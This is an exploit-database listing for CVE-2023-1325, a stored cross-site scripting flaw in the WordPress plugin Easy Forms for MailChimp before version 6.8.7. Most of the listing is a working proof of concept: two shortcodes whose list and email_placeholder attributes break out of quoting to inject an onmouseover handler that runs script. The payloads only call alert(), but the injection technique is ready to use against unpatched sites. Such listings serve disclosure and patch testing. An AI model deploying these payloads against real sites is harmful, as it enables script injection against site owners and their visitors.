Exploit for Easy Forms for MailChimp < 6.8.7 - Contributor+ Stored XSS CVE-2023-1325

Name: Exploit for Easy Forms for MailChimp < 6.8.7 - Contributor+ Stored XSS CVE-2023-1325
Rating: 5 (51 reviews)

2023-03-27 | CVSS 4.9

## https://sploitus.com/exploit?id=WPEX-ID:5F37CBF3-2388-4582-876C-6A7B0943C2A7
As a contributor, put the below shortcodes in a post, preview it and move the mouse over the generated subscribe form to trigger the XSS

[yikes-mailchimp-unsubscribe list='"onmouseover=alert(/XSS-list/)//']

[yikes-mailchimp-unsubscribe list='-1' email_placeholder='"onmouseover=alert(/XSS-email_placeholder/)//']